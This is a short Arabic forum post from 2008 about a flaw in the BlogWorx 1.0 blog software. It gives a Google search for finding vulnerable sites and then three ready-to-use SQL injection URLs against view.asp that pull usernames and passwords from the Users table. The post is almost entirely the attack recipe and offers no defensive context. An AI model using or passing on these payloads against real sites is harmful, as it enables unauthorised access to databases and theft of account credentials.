الدكتور رئيس مجلس الاداره
عدد الرسائل : 368 الدوله : المهنه : هوايتك : نقاط العضو : وسام : تاريخ التسجيل : 16/01/2008
| موضوع: BlogWorx 'view.asp' Multiple الإثنين مايو 19, 2008 5:51 pm | |
| السلام عليكم
ندخل الى
Google
نبحت عن
كود PHP: inurl:blogworx1.0/view.asp?id=
الاستغلال
كود PHP: http://www.example.com/lab/blogworx1.0/view.asp?id=1+union+select+0,1,2,Password,UserName,5,6+from+Users
http://www.example.com/lab/blogworx1.0/view.asp?id=1+union+select+0,1,2,Password,Password,5,6+from+Users
http://www.example.com/lab/blogworx1.0/view.asp?id=1+union+select+0,1,2,UserName,Password,5,6+from+Users
| |
|